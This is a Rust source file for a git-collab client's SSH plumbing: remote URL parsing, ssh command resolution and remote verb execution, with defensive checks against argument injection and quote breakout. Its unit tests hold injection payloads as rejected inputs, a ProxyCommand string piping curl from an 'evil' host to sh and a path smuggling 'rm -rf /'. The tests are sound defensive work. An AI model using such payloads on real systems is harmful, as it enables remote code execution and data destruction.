src/remote_ssh.rs
Ref: Size: 15.5 KiB History
//! Talking to a git-collab server over SSH exec verbs.
//!
//! The server's mutation API is a set of SSH exec verbs (`collab-release`,
//! `collab-lease`), so every client command that changes server state shells
//! out to `ssh` the same way: resolve the remote, build the invocation, run
//! one command, read stdout. This module is that plumbing, shared by
//! `release` and `lease`.
use std::process::{Command, Output, Stdio};
use git2::Repository;
use crate::error::Error;
#[derive(Debug, PartialEq, Eq)]
pub struct SshRemote {
pub user: Option<String>,
pub host: String,
pub port: Option<u16>,
pub path: String,
}
/// Parse `ssh://[user@]host[:port]/path` or scp-style `[user@]host:path`.
///
/// Note: IPv6 bracket addresses (`ssh://[::1]:2222/path`) are not specially
/// handled and will mis-parse rather than fail closed — out of scope per spec.
pub fn parse_ssh_remote(url: &str) -> Option<SshRemote> {
if let Some(rest) = url.strip_prefix("ssh://") {
let (authority, path) = rest.split_once('/')?;
let (user, hostport) = split_user(authority);
let (host, port) = match hostport.rsplit_once(':') {
Some((h, p)) => (h.to_string(), Some(p.parse().ok()?)),
None => (hostport.to_string(), None),
};
if host.is_empty() || path.is_empty() {
return None;
}
if is_option_lookalike(user.as_deref(), &host) {
return None;
}
return Some(SshRemote {
user,
host,
port,
path: path.to_string(),
});
}
if url.contains("://") {
return None;
}
// scp-style: [user@]host:path — but not a local path
let (authority, path) = url.split_once(':')?;
if authority.is_empty() || path.is_empty() || authority.contains('/') {
return None;
}
let (user, host) = split_user(authority);
if is_option_lookalike(user.as_deref(), host) {
return None;
}
Some(SshRemote {
user,
host: host.to_string(),
port: None,
path: path.to_string(),
})
}
/// Whether the destination would reach `ssh` as an option rather than a host.
///
/// `ssh_command` passes the destination as a positional argv element, so a
/// leading `-` is read by OpenSSH's getopt as a flag — and `-oProxyCommand=…`
/// runs through `/bin/sh -c`. git applies the same guard to its own transport
/// (`looks_like_command_line_option`, CVE-2017-1000117); `sync.rs` inherits it
/// by shelling out to `git push`/`git fetch`, but this module invokes `ssh`
/// directly, so it has to repeat the check rather than rely on git's.
///
/// Only the user's leading `-` can actually reach getopt today, since the
/// destination is formatted `{user}@{host}` — a dash on the host is already
/// shielded by whatever precedes the `@`. Both are rejected anyway: the
/// asymmetry is an artifact of the current format string, and a caller that
/// ever passes the host separately (or drops the user) would silently reopen
/// the hole.
fn is_option_lookalike(user: Option<&str>, host: &str) -> bool {
user.is_some_and(|u| u.starts_with('-')) || host.starts_with('-')
}
fn split_user(authority: &str) -> (Option<String>, &str) {
match authority.split_once('@') {
Some((user, host)) => (Some(user.to_string()), host),
None => (None, authority),
}
}
/// Resolve a named git remote to an SSH destination, rejecting anything the
/// exec-verb API cannot be spoken over.
pub fn ssh_remote(repo: &Repository, remote_name: &str) -> Result<SshRemote, Error> {
let remote = repo
.find_remote(remote_name)
.map_err(|_| Error::Cmd(format!("remote '{}' not found", remote_name)))?;
let url = remote
.url()
.ok_or_else(|| Error::Cmd(format!("remote '{}' has no URL", remote_name)))?;
let parsed = parse_ssh_remote(url).ok_or_else(|| {
Error::Cmd(format!(
"remote '{}' ({}) is not an SSH remote — this command needs an ssh:// or user@host: remote",
remote_name, url
))
})?;
validate_remote_path(&parsed.path)?;
Ok(parsed)
}
/// Reject a remote path containing quote characters: our remote command strings
/// wrap arguments in single quotes with no escaping, so a quote in the path
/// would let it break out of its argument — turn that into a clear client-side
/// error instead of an opaque server-side rejection (or worse).
fn validate_remote_path(path: &str) -> Result<(), Error> {
if path.contains('\'') || path.contains('"') {
return Err(Error::Cmd(format!(
"remote path contains quotes, which these commands cannot escape: {}",
path
)));
}
Ok(())
}
/// The candidate ssh command strings, in the order they were read from their
/// respective sources. Named fields (rather than positional `Option<String>`
/// args) so a call site can't silently pass them in the wrong order.
pub(crate) struct SshCommandSources {
pub(crate) collab_env: Option<String>,
pub(crate) git_env: Option<String>,
pub(crate) config: Option<String>,
}
/// Pick the ssh command string to use, first match wins: `collab_env`
/// (GIT_COLLAB_SSH_COMMAND), then `git_env` (GIT_SSH_COMMAND), then `config`
/// (git's `core.sshCommand`), then a bare `"ssh"`. Env overrides config for
/// the last two — matching git itself, whose docs say `core.sshCommand` "is
/// overridden when the GIT_SSH_COMMAND environment variable is set". A
/// candidate that is empty or whitespace-only is treated as absent rather
/// than winning with a blank program name.
pub(crate) fn resolve_ssh_command(sources: SshCommandSources) -> String {
[sources.collab_env, sources.git_env, sources.config]
.into_iter()
.flatten()
.find(|value| !value.trim().is_empty())
.unwrap_or_else(|| "ssh".to_string())
}
/// Build the ssh invocation for a remote. The command is resolved in order:
/// `GIT_COLLAB_SSH_COMMAND` (env, this tool's own escape hatch) > `GIT_SSH_COMMAND`
/// (env) > `core.sshCommand` (git config, including inherited global/system
/// config) > bare `ssh`. Env overriding config for the last two matches git's
/// own resolution, so `git-collab` agrees with `git push` against the same
/// remote even when a user sets `core.sshCommand` globally but overrides it
/// with `GIT_SSH_COMMAND` in one shell. Unlike git, which runs these through
/// `sh -c` and supports shell quoting, this is split on whitespace only — a
/// path containing spaces cannot be expressed.
fn ssh_command(repo: &Repository, remote: &SshRemote) -> Command {
let env_collab = std::env::var("GIT_COLLAB_SSH_COMMAND").ok();
let env_git = std::env::var("GIT_SSH_COMMAND").ok();
let config_ssh = repo
.config()
.ok()
.and_then(|cfg| cfg.get_string("core.sshCommand").ok());
let base = resolve_ssh_command(SshCommandSources {
collab_env: env_collab,
git_env: env_git,
config: config_ssh,
});
let mut parts = base.split_whitespace();
let mut cmd = Command::new(parts.next().unwrap_or("ssh"));
for part in parts {
cmd.arg(part);
}
if let Some(port) = remote.port {
cmd.arg("-p").arg(port.to_string());
}
match &remote.user {
Some(user) => cmd.arg(format!("{}@{}", user, remote.host)),
None => cmd.arg(&remote.host),
};
cmd
}
/// Run one exec verb, succeeding only on exit 0.
pub fn run_remote(
repo: &Repository,
remote: &SshRemote,
remote_cmd: &str,
stdin: Stdio,
) -> Result<Output, Error> {
run_remote_expecting(repo, remote, remote_cmd, stdin, &[])
}
/// Run one exec verb, treating `also_ok` exit codes as success rather than
/// failure and handing the `Output` back for the caller to interpret.
///
/// Leases need this: a lost race exits 4 with a JSON body on stdout, which is
/// an *answer*, not an error. Without an allow-list the shared error mapping
/// below would swallow the body and the code alike.
pub fn run_remote_expecting(
repo: &Repository,
remote: &SshRemote,
remote_cmd: &str,
stdin: Stdio,
also_ok: &[i32],
) -> Result<Output, Error> {
let output = ssh_command(repo, remote)
.arg(remote_cmd)
.stdin(stdin)
.output()
.map_err(|e| Error::Cmd(format!("failed to run ssh: {}", e)))?;
let code = output.status.code();
let acceptable = output.status.success() || code.is_some_and(|c| also_ok.contains(&c));
if !acceptable {
// Protocol errors from our server always arrive on the exec channel's
// stdout; stderr is ssh's own banners (e.g. host-key warnings). Never
// concatenate the two — that glues an unrelated banner onto the
// message. Prefer stdout, fall back to stderr, then a generic message.
let stdout = String::from_utf8_lossy(&output.stdout).trim().to_string();
let stderr = String::from_utf8_lossy(&output.stderr).trim().to_string();
let msg = if !stdout.is_empty() {
stdout
} else if !stderr.is_empty() {
stderr
} else {
"server rejected the command".to_string()
};
// Strip a leading "error: " so callers (main.rs prints "error: {}")
// don't double it up.
let msg = msg.strip_prefix("error: ").unwrap_or(&msg).to_string();
return Err(Error::Cmd(msg));
}
Ok(output)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn parse_ssh_url_full() {
let r = parse_ssh_remote("ssh://git@example.com:2222/myrepo.git").unwrap();
assert_eq!(r.user.as_deref(), Some("git"));
assert_eq!(r.host, "example.com");
assert_eq!(r.port, Some(2222));
assert_eq!(r.path, "myrepo.git");
}
#[test]
fn parse_ssh_url_minimal() {
let r = parse_ssh_remote("ssh://example.com/org/repo.git").unwrap();
assert_eq!(r.user, None);
assert_eq!(r.port, None);
assert_eq!(r.path, "org/repo.git");
}
#[test]
fn parse_scp_style() {
let r = parse_ssh_remote("git@example.com:myrepo.git").unwrap();
assert_eq!(r.user.as_deref(), Some("git"));
assert_eq!(r.host, "example.com");
assert_eq!(r.port, None);
assert_eq!(r.path, "myrepo.git");
}
#[test]
fn parse_rejects_non_ssh() {
assert!(parse_ssh_remote("https://example.com/repo.git").is_none());
assert!(parse_ssh_remote("/srv/git/repo.git").is_none());
assert!(parse_ssh_remote("../relative/path").is_none());
assert!(parse_ssh_remote("file:///srv/git/repo.git").is_none());
}
/// `ssh_command` passes the host (or `user@host`) as a positional argv
/// element, and OpenSSH's getopt reads a leading `-` as an option —
/// `-oProxyCommand=...` runs through `/bin/sh -c`. git guards its own
/// transport the same way (`looks_like_command_line_option`,
/// CVE-2017-1000117); `git push`/`git fetch` in sync.rs inherit that, but
/// this module is the one place we invoke ssh directly, so the guard has
/// to be repeated here.
#[test]
fn parse_rejects_option_lookalike_authority() {
// No colon and no slash in the payload, so it survives both the port
// split and the authority/path split — this is the shape that parses.
assert!(
parse_ssh_remote("ssh://-oProxyCommand=curl${IFS}evil${IFS}|${IFS}sh/repo.git")
.is_none()
);
assert!(parse_ssh_remote("ssh://-oProxyCommand=x@host/repo.git").is_none());
assert!(parse_ssh_remote("-oProxyCommand=x:repo.git").is_none());
assert!(parse_ssh_remote("user@-oProxyCommand=x:repo.git").is_none());
// A leading dash is only rejected in the authority; paths and normal
// hosts are untouched.
assert!(parse_ssh_remote("ssh://example.com/-dashed-path.git").is_some());
}
#[test]
fn parse_rejects_out_of_range_port() {
assert!(parse_ssh_remote("ssh://host:99999/x").is_none());
}
#[test]
fn parse_rejects_scp_style_with_empty_path() {
assert!(parse_ssh_remote("host:").is_none());
}
#[test]
fn parse_rejects_scp_style_with_empty_authority() {
assert!(parse_ssh_remote(":path").is_none());
}
#[test]
fn parse_rejects_ssh_url_without_path() {
assert!(parse_ssh_remote("ssh://host").is_none());
}
#[test]
fn rejects_remote_path_with_single_quote() {
let remote = parse_ssh_remote("ssh://git@example.com/evil'; rm -rf /.git").unwrap();
let err = validate_remote_path(&remote.path).unwrap_err();
assert!(matches!(err, Error::Cmd(ref m) if m.contains("quotes")));
}
#[test]
fn rejects_remote_path_with_double_quote() {
let remote = parse_ssh_remote("ssh://git@example.com/evil\"x").unwrap();
assert!(validate_remote_path(&remote.path).is_err());
}
#[test]
fn accepts_remote_path_without_quotes() {
let remote = parse_ssh_remote("ssh://git@example.com/myrepo.git").unwrap();
assert!(validate_remote_path(&remote.path).is_ok());
}
#[test]
fn resolve_ssh_command_prefers_collab_env_over_all_others() {
assert_eq!(
resolve_ssh_command(SshCommandSources {
collab_env: Some("collab-ssh".to_string()),
git_env: Some("git-ssh".to_string()),
config: Some("config-ssh".to_string()),
}),
"collab-ssh"
);
}
/// Regression guard: git's own resolution has GIT_SSH_COMMAND (env)
/// override core.sshCommand (config) — the reverse of what an earlier
/// version of this function did. A user with core.sshCommand set
/// globally who exports GIT_SSH_COMMAND for one shell must see it win,
/// matching `git push` against the same remote.
///
/// This only guards resolve_ssh_command's own logic; it cannot catch a
/// mis-wired call site (e.g. ssh_command() passing git_env and config in
/// the wrong struct fields) — see the e2e tests in
/// tests/release_cli_test.rs for that.
#[test]
fn resolve_ssh_command_git_env_overrides_config_when_both_set() {
assert_eq!(
resolve_ssh_command(SshCommandSources {
collab_env: None,
git_env: Some("git-ssh".to_string()),
config: Some("config-ssh".to_string()),
}),
"git-ssh"
);
}
#[test]
fn resolve_ssh_command_falls_back_to_config() {
assert_eq!(
resolve_ssh_command(SshCommandSources {
collab_env: None,
git_env: None,
config: Some("config-ssh".to_string()),
}),
"config-ssh"
);
}
#[test]
fn resolve_ssh_command_defaults_to_bare_ssh() {
assert_eq!(
resolve_ssh_command(SshCommandSources {
collab_env: None,
git_env: None,
config: None,
}),
"ssh"
);
}
#[test]
fn resolve_ssh_command_ignores_empty_and_whitespace_values() {
// An empty or whitespace-only override must not win and must not
// produce an empty program name — fall through to the next source.
assert_eq!(
resolve_ssh_command(SshCommandSources {
collab_env: Some("".to_string()),
git_env: Some(" ".to_string()),
config: Some("config-ssh".to_string()),
}),
"config-ssh"
);
assert_eq!(
resolve_ssh_command(SshCommandSources {
collab_env: Some("\t\n".to_string()),
git_env: None,
config: None,
}),
"ssh"
);
}
}